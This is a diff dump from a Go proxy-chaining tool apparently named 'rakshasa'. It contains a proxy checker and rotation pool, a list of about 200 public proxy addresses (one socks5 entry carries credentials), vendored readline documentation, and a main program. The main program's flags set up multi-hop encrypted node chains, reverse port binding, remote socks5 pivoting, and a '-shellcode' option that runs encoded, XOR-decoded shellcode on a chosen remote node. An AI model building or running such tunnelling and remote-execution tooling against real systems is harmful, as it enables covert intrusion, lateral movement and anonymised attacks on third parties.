golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a h1:dGzPydgVsqGcTRVwiLJ1jVbufYwmzD3LfVPLKsKg+0k=
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+212
View File
@@ -0,0 +1,212 @@
package httppool
import (
"bufio"
"errors"
"fmt"
"io"
"log"
"net"
"net/http"
"net/url"
"os"
"rakshasa/common"
"strings"
"sync"
"time"
)
func CheckProxy(in, out string, timeout uint, checkurl string, anonymous bool) {
outFile, err := os.OpenFile(out, os.O_CREATE|os.O_TRUNC|os.O_RDWR, 0666)
if err != nil {
log.Fatalf("CheckProxy 无法写出文件 %s", out)
}
defer outFile.Close()
var res int
if cfg, err := common.ParseAddr(in); err == nil {
if check(cfg, timeout, checkurl, outFile, anonymous) {
res = 1
}
} else {
inFile, err := os.OpenFile(in, os.O_RDONLY, 0666)
if err != nil {
log.Fatalf("-check_proxy 无法识别无法读取 %s", in)
}
limit := make(chan struct{}, 32)
reader := bufio.NewReader(inFile)
var wg sync.WaitGroup
for {
line, err := reader.ReadString(10)
if err == io.EOF && line == "" {
break
}
wg.Add(1)
limit <- struct{}{}
go func() {
line = strings.TrimRight(line, "\n")
line = strings.TrimRight(line, "\r")
if cfg, err = common.ParseAddr(line); err == nil {
if check(cfg, timeout, checkurl, outFile, anonymous) {
res++
}
}
<-limit
wg.Done()
}()
}
wg.Wait()
}
log.Printf("一共有%d个代理通过检测,已保存到 %v", res, out)
}
func check(cfg *common.Addr, timeout uint, checkurl string, outFile *os.File, anonymous bool) bool {
switch cfg.Scheam() {
case "", "http://":
proxy := func(_ *http.Request) (*url.URL, error) {
return url.Parse(cfg.HttpUrl())
}
transport := &http.Transport{Proxy: proxy}
client := &http.Client{Transport: transport, Timeout: time.Second * time.Duration(timeout)}
resp, err := client.Get(checkurl)
if err != nil {
if strings.Contains(err.Error(), "Client.Timeout") {
//log.Printf("地址 %v 检测失败 超时没响应\r\n", cfg)
//} else {
//log.Printf("地址 %v 检测失败 %v\r\n", cfg, err)
}
return false
}
if resp.StatusCode == 200 {
if anonymous {
b, _ := io.ReadAll(resp.Body)
if string(b) == cfg.IP() {
log.Printf("地址 %v 通过匿名代理检测\r\n", cfg.String())
if _, err = outFile.WriteString(cfg.String() + "\r\n"); err != nil {
log.Printf("无法写入文件%s", outFile.Name())
}
if err = outFile.Sync(); err != nil {
log.Printf("无法写入文件%s", outFile.Name())
}
} else {
return false
}
} else {
log.Printf("地址 %v 通过检测\r\n", cfg.String())
if _, err = outFile.WriteString(cfg.String() + "\r\n"); err != nil {
log.Printf("无法写入文件%s", outFile.Name())
}
if err = outFile.Sync(); err != nil {
log.Printf("无法写入文件%s", outFile.Name())
}
}
return true
}
//log.Printf("地址 %v 检测失败 结果状态码不是 200\r\n", addr)
return false
case "socks5://":
netconn, err := net.Dial("tcp", cfg.Addr())
if err != nil {
return false
}
netconn.Write([]byte{5, 1, 2})
var result [8192]byte
n, err := netconn.Read(result[:])
if err != nil {
return false
}
if string(result[:n]) == string([]byte{5, 2}) { //需要认证
user, password := cfg.User(), cfg.Password()
if user == "" && password == "" {
return false
}
data := make([]byte, (3 + len(user) + len(password)))
data[0] = 5
data[1] = byte(len(user))
copy(data[2:], user)
data[2+len(user)] = byte(len(password))
copy(data[3+len(user):], password)
netconn.Write(data)
n, err = netconn.Read(result[:])
if err != nil || string(result[:n]) != string([]byte{5, 0}) {
return false
}
}
log.Printf("地址 %v 通过socks5检测\r\n", cfg.String())
if _, err = outFile.WriteString(cfg.String() + "\r\n"); err != nil {
log.Printf("无法写入文件%s", outFile.Name())
}
if err = outFile.Sync(); err != nil {
log.Printf("无法写入文件%s", outFile.Name())
}
return true
default:
}
return false
}
type HttpPool struct {
r *bufio.Reader
f *os.File
sync.Mutex
}
func HttpPoolInit(file string) (*HttpPool, error) {
f, err := os.Open(file)
if err != nil {
return nil, fmt.Errorf("打开http代理池文件 %s 失败", file)
}
p := &HttpPool{
r: bufio.NewReader(f),
f: f,
Mutex: sync.Mutex{},
}
if _, err = p.do_next(0); err != nil {
return nil, fmt.Errorf("无法从%s文件获取代理,错误%v", file, err)
}
return p, nil
}
func (p *HttpPool) Next() *common.Addr {
addr, _ := p.do_next(0)
return addr
}
func (p *HttpPool) do_next(n int) (*common.Addr, error) {
if n > 100 {
return nil, errors.New("重试错误次数过多")
}
p.Lock()
line, err := p.r.ReadString(10)
if err == io.EOF {
p.f.Seek(0, 0)
p.r.Reset(p.f)
p.Unlock()
return p.do_next(n + 1)
}
p.Unlock()
line = strings.TrimRight(line, "\n")
line = strings.TrimRight(line, "\r")
if len(line) == 0 {
return p.do_next(n + 1)
}
addr, err := common.ParseAddr(line)
if err != nil {
return p.do_next(n + 1)
}
return addr, nil
}
+201
View File
@@ -0,0 +1,201 @@
209.97.150.167:8080
199.5.133.194:80
74.208.51.197:5000
34.135.166.24:80
82.180.163.163:80
35.172.202.138:80
109.122.195.14:80
66.29.154.103:3128
35.222.50.197:80
169.55.89.6:80
174.70.1.210:8080
35.209.198.222:80
208.109.32.60:81
3.134.56.120:80
20.241.236.196:3128
216.215.123.174:8080
3.128.142.113:80
146.190.74.6:80
24.106.221.230:53281
165.3.122.211:80
155.254.192.216:80
104.255.231.87:3128
45.61.163.12:80
45.77.198.163:80
216.137.184.253:80
71.255.153.117:80
104.223.135.178:10000
109.122.195.16:80
5.78.78.180:8080
54.82.79.59:80
52.24.80.166:80
3.220.76.84:80
129.153.107.221:80
64.225.8.115:9997
20.69.79.158:8443
191.101.1.116:80
5.78.75.64:8080
72.169.67.145:87
12.69.91.227:80
4.16.68.158:443
52.144.46.250:25345
198.59.191.234:8080
64.225.4.12:9991
93.188.166.232:80
137.184.197.190:80
72.169.67.241:87
130.41.109.158:8080
204.2.218.145:8080
66.75.121.167:8080
162.223.94.163:80
38.242.195.210:80
64.225.8.132:9979
93.188.161.84:80
68.183.143.134:80
64.225.8.142:9988
184.60.66.122:80
15.204.207.232:3128
64.225.4.81:9991
47.254.47.61:77
64.225.8.118:9990
31.220.52.49:80
23.238.33.186:80
52.86.21.254:80
103.152.112.145:80
3.12.178.169:80
47.88.87.74:1080
98.110.236.35:8080
142.93.61.46:80
154.202.97.224:3128
154.201.62.199:3128
154.202.122.29:3128
154.202.98.115:3128
72.169.66.157:87
75.89.101.62:80
64.225.8.121:9992
198.11.175.192:3128
159.89.132.167:8989
72.170.220.17:8080
148.76.97.250:80
3.94.182.57:7497
43.251.116.62:45787
206.189.199.91:80
34.23.45.223:80
64.225.4.63:9998
52.38.72.41:80
38.52.220.194:999
18.217.198.64:80
206.161.97.62:31337
170.187.138.40:8009
143.198.182.218:80
34.170.89.64:80
97.74.92.60:80
64.225.8.82:9995
43.249.11.114:45787
137.184.242.126:80
143.110.232.177:80
143.198.228.250:80
209.126.6.159:80
138.68.60.8:3128
63.239.220.11:8080
100.21.127.153:80
34.229.213.84:8118
45.81.130.51:45787
198.199.86.11:8080
108.161.128.43:80
209.169.71.193:80
64.225.8.191:9987
167.99.236.14:80
156.239.48.222:3128
209.127.148.104:3128
154.202.118.16:3128
154.202.124.35:3128
154.83.8.195:3128
154.202.125.108:3128
194.50.243.120:3128
154.202.127.66:3128
154.202.119.127:3128
156.239.48.48:3128
162.144.236.128:80
157.230.48.102:80
104.45.128.122:80
149.248.14.12:24018
72.169.67.85:87
128.199.13.74:80
64.225.4.29:9994
72.52.217.188:80
154.202.122.17:3128
154.202.127.8:3128
154.202.127.192:3128
154.202.115.109:3128
156.239.51.113:3128
154.202.119.154:3128
154.202.98.233:3128
154.201.61.223:3128
156.239.53.151:3128
154.202.97.174:3128
209.127.48.59:3128
156.239.48.128:3128
156.239.54.138:3128
154.202.125.44:3128
156.239.51.49:3128
154.202.113.77:3128
209.127.136.164:3128
154.202.122.139:3128
154.202.114.4:3128
45.199.137.179:3128
185.93.32.136:3128
45.199.140.87:3128
154.202.114.244:3128
156.239.55.233:3128
154.202.112.54:3128
156.239.51.131:3128
154.83.10.189:3128
154.83.8.13:3128
154.83.11.100:3128
154.202.112.128:3128
156.239.50.212:3128
154.202.110.19:3128
45.199.141.170:3128
154.202.113.221:3128
154.202.113.65:3128
45.199.140.85:3128
45.199.141.22:3128
50.114.110.124:3128
154.202.96.105:3128
154.202.114.110:3128
156.239.53.37:3128
156.239.55.63:3128
45.199.137.141:3128
154.202.118.60:3128
154.202.114.168:3128
45.199.140.71:3128
156.239.54.108:3128
154.202.114.20:3128
50.114.111.113:3128
156.239.53.217:3128
154.83.10.165:3128
45.199.139.158:3128
156.239.49.73:3128
154.202.112.20:3128
45.199.141.196:3128
154.202.98.241:3128
194.50.243.246:3128
154.201.63.43:3128
50.114.111.75:3128
154.202.111.153:3128
156.239.52.10:3128
156.239.51.17:3128
154.202.125.224:3128
156.239.54.78:3128
154.202.117.84:3128
154.83.9.218:3128
154.202.107.212:3128
156.239.53.11:3128
156.239.49.131:3128
154.202.118.72:3128
154.83.9.238:3128
45.199.141.60:3128
156.239.55.117:3128
154.202.120.165:3128
socks5://admin:[email protected]:1080
+212
View File
@@ -0,0 +1,212 @@
package main
import (
"flag"
"log"
"net/http"
_ "net/http/pprof"
"rakshasa/aes"
"rakshasa/cert"
"rakshasa/common"
"rakshasa/httppool"
"rakshasa/server"
"strconv"
"strings"
"sync"
)
func main() {
var (
//以下为配置参数
dstNode = flag.String("d", "", "依次连接到指定的 上级节点地址,格式为 ip:端口 多个节点以,隔开\r\n -d 192.168.1.1:8883\r\n -d 192.168.1.1:8883,192.168.1.2:8882")
limit = flag.String("limit", "", "limit模式,只连接-d的节点,不进行额外节点连接,默认为false,如果为true,本节点掉线的时候,将会尝试连接所有已保存节点")
password = flag.String("password", "", "通讯二次加密秘钥,可为空")
listenip = flag.String("ip", "", "设置本地节点指定公网ip,多个ip以,间隔,如\r\n -ip 192.168.1.1")
port = flag.String("p", "", "设置本地节点监听端口,默认8883")
configFile = flag.String("f", "", "配置文件路径,为空的时候不读取")
check_proxy = flag.String("check_proxy", "", "检查http代理是否有效,传入参数可以是ip:port 或者文件,当前支持ipv4,并将结果保存到-check_proxy_out,可选参数-check_proxy_timeout,-check_proxy_url,使用方法: \r\n -check_proxy 192.168.1.1:8080\r\n -check_proxy in.txt\r\n -check_proxy in.txt -check_proxy_out out.txt -check_proxy_timeout 10 -check_proxy_url https://www.google.com/")
check_proxy_out = flag.String("check_proxy_out", "out.txt", "配合-check_proxy一起,将有效代理保存到指定文件,默认保存到 out.txt")
check_proxy_timeout = flag.Uint("check_proxy_timeout", 10, "配合-check_proxy一起,设定代理检测超时,单位秒,默认10")
check_proxy_url = flag.String("check_proxy_url", server.CheckProxyUrl, "自定义url检测,配合-check_proxy一起使用,设定代理检测url,不能测试是否匿名")
check_proxy_anonymous = flag.Bool("check_proxy_anonymous", true, "检测代理是否匿名,非匿名代理不保存,默认为true,必须使用默认url")
//以下为功能参数,必须配合-d参数启动
socks5port = flag.String("socks5", "", "以本地socks5代理服务端模式运行,通过-d的服务器多级代理转出数据,如果没有-d参数,则相当于建立了一个本地socks5代理服务器,如: -socks5 admin:[email protected]:1080")
remoteSocksport = flag.String("remotesocks5", "", "-d节点监听socks5代理,并将请求通过本地转出,如: -remote admin:[email protected]:1080")
rawbind = flag.String("bind", "", "反向代理转发模式,格式为ip:port,remote_ip:remote_port-d指定节点将会监听remote_ip:remote_port,通过本机将数据转发到ip:port,如\r\n -bind 127.0.0.1:80,0.0.0.0:80")
rawconnect = flag.String("connect", "", "代理转发模式,格式为ip:port,remote_ip:remote_port,本地监听ip:port,并在-d节点连接到remote_ip:remote_port,如\r\n -connect 0.0.0.0:80,192.168.1.1:80")
noCLI = flag.Bool("nocli", false, "不启动cli")
shellCode = flag.String("shellcode", "", "与-d配合指定节点执行shellcode,-d参数为空则为本节点执行,可以为base64或者hex编码")
shellCodeXorKey = flag.String("sXor", "", "shellcode的xor解码密钥")
shellCodeParam = flag.String("sParam", "", "shellcode的运行参数")
shellCodeTimeout = flag.Int("sTimeout", 3, "shellcode的超时等待时间,默认3秒")
http_proxy = flag.String("http_proxy", "", "以本地http代理服务端模式运行,通过-d的服务器多级代理转出数据,如果没有-d参数,则使用本机进行下一步连接, 用户名:密码@ip:端口 可以省略为端口,如: \r\n -http_proxy admin:[email protected]:8080\r\n -http_proxy admin:12345@8080\r\n -http_proxy 8080")
http_proxy_pool = flag.String("http_proxy_pool", "", "从指定文件读取http代理服务器池,通过最后节点后(不使用-d则为本机),再从该池里读取一个代理进行请求")
)
flag.Parse()
if *check_proxy != "" {
if *check_proxy_url != server.CheckProxyUrl && *check_proxy_anonymous == true {
log.Println("检测url不是默认url,将取消匿名代理检测")
*check_proxy_anonymous = false
}
httppool.CheckProxy(*check_proxy, *check_proxy_out, *check_proxy_timeout, *check_proxy_url, *check_proxy_anonymous)
return
}
var config common.Config
if *configFile != "" {
if err := server.ConfigLoad(*configFile); err != nil {
log.Fatalln("读取配置文件", *configFile, "失败 ", err)
}
config = server.GetConfig()
} else {
config = common.Config{
Port: 8883,
Limit: false,
FileName: "config.yaml",
}
}
if *dstNode != "" {
serverlist, err := common.ResolveTCPAddr(*dstNode)
if err != nil {
log.Fatalln("-d参数错误", err)
}
config.DstNode = serverlist
}
if *password != "" {
config.Password = *password
}
if *listenip != "" {
config.ListenIp = strings.Split(*listenip, ",")
}
if *limit != "" {
if *limit != "flase" && *limit != "true" {
log.Fatalln("limit 参数错误,必须是 false 或者 true")
}
config.Limit = *limit == "true"
}
if *port != "" {
p, _ := strconv.Atoi(*port)
if p < 1 || p > 65535 {
log.Fatalln("port 参数错误,必须是1-65535")
}
config.Port = p
}
server.SetConfig(config)
//修正dstNode为空字串的bug
for i := len(config.DstNode) - 1; i >= 0; i-- {
addr := config.DstNode[i]
if addr == "" {
config.DstNode = append(config.DstNode[:i], config.DstNode[i+1:]...)
}
}
server.SetConfig(config)
//设置一下秘钥
aes.Key = aes.MD5_B(config.Password + string(cert.PublicKey[:16]))
//初始化node
server.InitCurrentNode()
if common.Debug {
go func() {
err := http.ListenAndServe("0.0.0.0:8083", nil)
if err != nil {
err = http.ListenAndServe("0.0.0.0:8084", nil)
if err != nil {
err = http.ListenAndServe("0.0.0.0:8085", nil)
}
}
}()
}
//启动节点
if len(config.DstNode) > 0 && config.DstNode[0] != "" {
if _, err := server.GetNodeFromAddrs(config.DstNode); err != nil {
log.Fatalln("连接节点失败", err)
}
}
if *shellCode != "" {
server.RunShellcodeWithDst(*dstNode, *shellCode, *shellCodeXorKey, *shellCodeParam, *shellCodeTimeout)
}
if err := server.StartServer(config.Port); err != nil {
log.Fatalln(err)
}
//如果有参数启动,启动一下
if *rawbind != "" {
if *dstNode == "" {
log.Fatalln("请以 -d 输入远程服务器ip地址")
}
if err := server.StartRawBind(*rawbind, config.DstNode); err != nil {
log.Fatalln("bind启动失败", err)
}
log.Println("rawBind启动成功")
} else if *rawconnect != "" {
if *dstNode == "" {
log.Fatalln("请以 -d 输入远程服务器ip地址")
}
n, err := server.GetNodeFromAddrs(config.DstNode)
if err != nil {
log.Fatalln("connect启动失败", err)
}
if err := server.StartRawConnect(*rawconnect, n); err != nil {
log.Fatalln("connect启动失败", err)
}
log.Println("rawConnect启动成功")
} else if *socks5port != "" {
cfg, err := common.ParseAddr(*socks5port)
if err != nil {
log.Fatalln(err)
}
if err := server.StartSocks5(cfg, config.DstNode); err != nil {
log.Fatalln("socks5启动失败", err)
}
log.Println("socks5启动成功")
} else if *remoteSocksport != "" {
if *dstNode == "" {
log.Fatalln("请以 -d 输入远程服务器ip地址")
}
n, err := server.GetNodeFromAddrs(config.DstNode)
if err != nil {
log.Fatalln("remoteSocks5启动失败", err)
}
cfg, err := common.ParseAddr(*remoteSocksport)
if err != nil {
log.Fatalln(err)
}
if err := server.StartRemoteSocks5(cfg, n); err != nil {
log.Fatalln("remoteSocks5启动失败", err)
}
log.Println("remoteSocks5 启动成功")
} else if *http_proxy != "" {
cfg, err := common.ParseAddr(*http_proxy)
if err != nil {
log.Fatalln(err)
}
if err := server.StartHttpProxy(cfg, config.DstNode, *http_proxy_pool); err != nil {
log.Fatalln("httpProxy启动失败", err)
}
log.Println("httpProxy 启动成功")
}
if !*noCLI {
common.SetConsoleVT()
server.CliRun()
} else {
var wait sync.WaitGroup
wait.Add(1)
wait.Wait()
}
}
+4
View File
@@ -0,0 +1,4 @@
104.223.135.178:10000
169.55.89.6:80
216.215.123.174:8080
3.94.182.57:7497
File diff suppressed because one or more lines are too long
+1
View File
@@ -0,0 +1 @@
.vscode/*
+8
View File
@@ -0,0 +1,8 @@
language: go
go:
- 1.x
script:
- GOOS=windows go install github.com/chzyer/readline/example/...
- GOOS=linux go install github.com/chzyer/readline/example/...
- GOOS=darwin go install github.com/chzyer/readline/example/...
- go test -race -v
+58
View File
@@ -0,0 +1,58 @@
# ChangeLog
### 1.4 - 2016-07-25
* [#60][60] Support dynamic autocompletion
* Fix ANSI parser on Windows
* Fix wrong column width in complete mode on Windows
* Remove dependent package "golang.org/x/crypto/ssh/terminal"
### 1.3 - 2016-05-09
* [#38][38] add SetChildren for prefix completer interface
* [#42][42] improve multiple lines compatibility
* [#43][43] remove sub-package(runes) for gopkg compatibility
* [#46][46] Auto complete with space prefixed line
* [#48][48] support suspend process (ctrl+Z)
* [#49][49] fix bug that check equals with previous command
* [#53][53] Fix bug which causes integer divide by zero panicking when input buffer is empty
### 1.2 - 2016-03-05
* Add a demo for checking password strength [example/readline-pass-strength](https://github.com/chzyer/readline/blob/master/example/readline-pass-strength/readline-pass-strength.go), , written by [@sahib](https://github.com/sahib)
* [#23][23], support stdin remapping
* [#27][27], add a `UniqueEditLine` to `Config`, which will erase the editing line after user submited it, usually use in IM.
* Add a demo for multiline [example/readline-multiline](https://github.com/chzyer/readline/blob/master/example/readline-multiline/readline-multiline.go) which can submit one SQL by multiple lines.
* Supports performs even stdin/stdout is not a tty.
* Add a new simple apis for single instance, check by [here](https://github.com/chzyer/readline/blob/master/std.go). It need to save history manually if using this api.
* [#28][28], fixes the history is not working as expected.
* [#33][33], vim mode now support `c`, `d`, `x (delete character)`, `r (replace character)`
### 1.1 - 2015-11-20
* [#12][12] Add support for key `<Delete>`/`<Home>`/`<End>`
* Only enter raw mode as needed (calling `Readline()`), program will receive signal(e.g. Ctrl+C) if not interact with `readline`.
* Bugs fixed for `PrefixCompleter`
* Press `Ctrl+D` in empty line will cause `io.EOF` in error, Press `Ctrl+C` in anytime will cause `ErrInterrupt` instead of `io.EOF`, this will privodes a shell-like user experience.
* Customable Interrupt/EOF prompt in `Config`
* [#17][17] Change atomic package to use 32bit function to let it runnable on arm 32bit devices
* Provides a new password user experience(`readline.ReadPasswordEx()`).
### 1.0 - 2015-10-14
* Initial public release.
[12]: https://github.com/chzyer/readline/pull/12
[17]: https://github.com/chzyer/readline/pull/17
[23]: https://github.com/chzyer/readline/pull/23
[27]: https://github.com/chzyer/readline/pull/27
[28]: https://github.com/chzyer/readline/pull/28
[33]: https://github.com/chzyer/readline/pull/33
[38]: https://github.com/chzyer/readline/pull/38
[42]: https://github.com/chzyer/readline/pull/42
[43]: https://github.com/chzyer/readline/pull/43
[46]: https://github.com/chzyer/readline/pull/46
[48]: https://github.com/chzyer/readline/pull/48
[49]: https://github.com/chzyer/readline/pull/49
[53]: https://github.com/chzyer/readline/pull/53
[60]: https://github.com/chzyer/readline/pull/60
+22
View File
@@ -0,0 +1,22 @@
The MIT License (MIT)
Copyright (c) 2015 Chzyer
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+114
View File
@@ -0,0 +1,114 @@
[![Build Status](https://travis-ci.org/chzyer/readline.svg?branch=master)](https://travis-ci.org/chzyer/readline)
[![Software License](https://img.shields.io/badge/license-MIT-brightgreen.svg)](LICENSE.md)
[![Version](https://img.shields.io/github/tag/chzyer/readline.svg)](https://github.com/chzyer/readline/releases)
[![GoDoc](https://godoc.org/github.com/chzyer/readline?status.svg)](https://godoc.org/github.com/chzyer/readline)
[![OpenCollective](https://opencollective.com/readline/badge/backers.svg)](#backers)
[![OpenCollective](https://opencollective.com/readline/badge/sponsors.svg)](#sponsors)
<p align="center">
<img src="https://raw.githubusercontent.com/chzyer/readline/assets/logo.png" />
<a href="https://asciinema.org/a/32oseof9mkilg7t7d4780qt4m" target="_blank"><img src="https://asciinema.org/a/32oseof9mkilg7t7d4780qt4m.png" width="654"/></a>
<img src="https://raw.githubusercontent.com/chzyer/readline/assets/logo_f.png" />
</p>
A powerful readline library in `Linux` `macOS` `Windows` `Solaris`
## Guide
* [Demo](example/readline-demo/readline-demo.go)
* [Shortcut](doc/shortcut.md)
## Repos using readline
[![cockroachdb](https://img.shields.io/github/stars/cockroachdb/cockroach.svg?label=cockroachdb/cockroach)](https://github.com/cockroachdb/cockroach)
[![robertkrimen/otto](https://img.shields.io/github/stars/robertkrimen/otto.svg?label=robertkrimen/otto)](https://github.com/robertkrimen/otto)
[![empire](https://img.shields.io/github/stars/remind101/empire.svg?label=remind101/empire)](https://github.com/remind101/empire)
[![mehrdadrad/mylg](https://img.shields.io/github/stars/mehrdadrad/mylg.svg?label=mehrdadrad/mylg)](https://github.com/mehrdadrad/mylg)
[![knq/usql](https://img.shields.io/github/stars/knq/usql.svg?label=knq/usql)](https://github.com/knq/usql)
[![youtube/doorman](https://img.shields.io/github/stars/youtube/doorman.svg?label=youtube/doorman)](https://github.com/youtube/doorman)
[![bom-d-van/harp](https://img.shields.io/github/stars/bom-d-van/harp.svg?label=bom-d-van/harp)](https://github.com/bom-d-van/harp)
[![abiosoft/ishell](https://img.shields.io/github/stars/abiosoft/ishell.svg?label=abiosoft/ishell)](https://github.com/abiosoft/ishell)
[![Netflix/hal-9001](https://img.shields.io/github/stars/Netflix/hal-9001.svg?label=Netflix/hal-9001)](https://github.com/Netflix/hal-9001)
[![docker/go-p9p](https://img.shields.io/github/stars/docker/go-p9p.svg?label=docker/go-p9p)](https://github.com/docker/go-p9p)
## Feedback
If you have any questions, please submit a github issue and any pull requests is welcomed :)
* [https://twitter.com/chzyer](https://twitter.com/chzyer)
* [http://weibo.com/2145262190](http://weibo.com/2145262190)
## Backers
Love Readline? Help me keep it alive by donating funds to cover project expenses!<br />
[[Become a backer](https://opencollective.com/readline#backer)]
<a href="https://opencollective.com/readline/backer/0/website" target="_blank"><img src="https://opencollective.com/readline/backer/0/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/1/website" target="_blank"><img src="https://opencollective.com/readline/backer/1/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/2/website" target="_blank"><img src="https://opencollective.com/readline/backer/2/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/3/website" target="_blank"><img src="https://opencollective.com/readline/backer/3/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/4/website" target="_blank"><img src="https://opencollective.com/readline/backer/4/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/5/website" target="_blank"><img src="https://opencollective.com/readline/backer/5/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/6/website" target="_blank"><img src="https://opencollective.com/readline/backer/6/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/7/website" target="_blank"><img src="https://opencollective.com/readline/backer/7/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/8/website" target="_blank"><img src="https://opencollective.com/readline/backer/8/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/9/website" target="_blank"><img src="https://opencollective.com/readline/backer/9/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/10/website" target="_blank"><img src="https://opencollective.com/readline/backer/10/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/11/website" target="_blank"><img src="https://opencollective.com/readline/backer/11/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/12/website" target="_blank"><img src="https://opencollective.com/readline/backer/12/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/13/website" target="_blank"><img src="https://opencollective.com/readline/backer/13/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/14/website" target="_blank"><img src="https://opencollective.com/readline/backer/14/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/15/website" target="_blank"><img src="https://opencollective.com/readline/backer/15/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/16/website" target="_blank"><img src="https://opencollective.com/readline/backer/16/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/17/website" target="_blank"><img src="https://opencollective.com/readline/backer/17/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/18/website" target="_blank"><img src="https://opencollective.com/readline/backer/18/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/19/website" target="_blank"><img src="https://opencollective.com/readline/backer/19/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/20/website" target="_blank"><img src="https://opencollective.com/readline/backer/20/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/21/website" target="_blank"><img src="https://opencollective.com/readline/backer/21/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/22/website" target="_blank"><img src="https://opencollective.com/readline/backer/22/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/23/website" target="_blank"><img src="https://opencollective.com/readline/backer/23/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/24/website" target="_blank"><img src="https://opencollective.com/readline/backer/24/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/25/website" target="_blank"><img src="https://opencollective.com/readline/backer/25/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/26/website" target="_blank"><img src="https://opencollective.com/readline/backer/26/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/27/website" target="_blank"><img src="https://opencollective.com/readline/backer/27/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/28/website" target="_blank"><img src="https://opencollective.com/readline/backer/28/avatar.svg"></a>
<a href="https://opencollective.com/readline/backer/29/website" target="_blank"><img src="https://opencollective.com/readline/backer/29/avatar.svg"></a>
## Sponsors
Become a sponsor and get your logo here on our Github page. [[Become a sponsor](https://opencollective.com/readline#sponsor)]
<a href="https://opencollective.com/readline/sponsor/0/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/0/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/1/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/1/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/2/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/2/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/3/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/3/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/4/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/4/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/5/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/5/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/6/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/6/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/7/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/7/avatar.svg"></a>
